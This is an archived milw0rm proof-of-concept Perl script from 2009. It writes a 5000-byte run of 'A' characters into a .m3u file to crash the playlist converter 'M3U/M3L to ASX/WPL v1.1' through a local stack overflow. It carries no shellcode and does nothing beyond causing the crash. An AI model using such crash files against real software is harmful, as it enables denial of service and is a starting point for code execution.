15 lines
No EOL
770 B
Perl
Executable file
15 lines
No EOL
770 B
Perl
Executable file
#!/usr/bin/perl
|
|
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
|
|
# # M3U/M3L to ASX/WPL v1.1 (asx,m3u,m3l) Local Stack Overflow POC ##
|
|
# # Download: http://proletsoft.freeservers.com/mmb/m3utoasx.html ##
|
|
## Welcom Back Milw0rm ##
|
|
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
|
|
my $crash="\x41" x 5000 ;
|
|
open(myfile,'>>PoC.m3u');#asx,m3u,m3l)
|
|
print myfile $crash;
|
|
##################################################################################
|
|
#By ThE g0bL!N
|
|
# Ismail Fiha seh :) Mada Bik Anta 1st Thotha :)
|
|
##################################################################################
|
|
|
|
# milw0rm.com [2009-07-11] |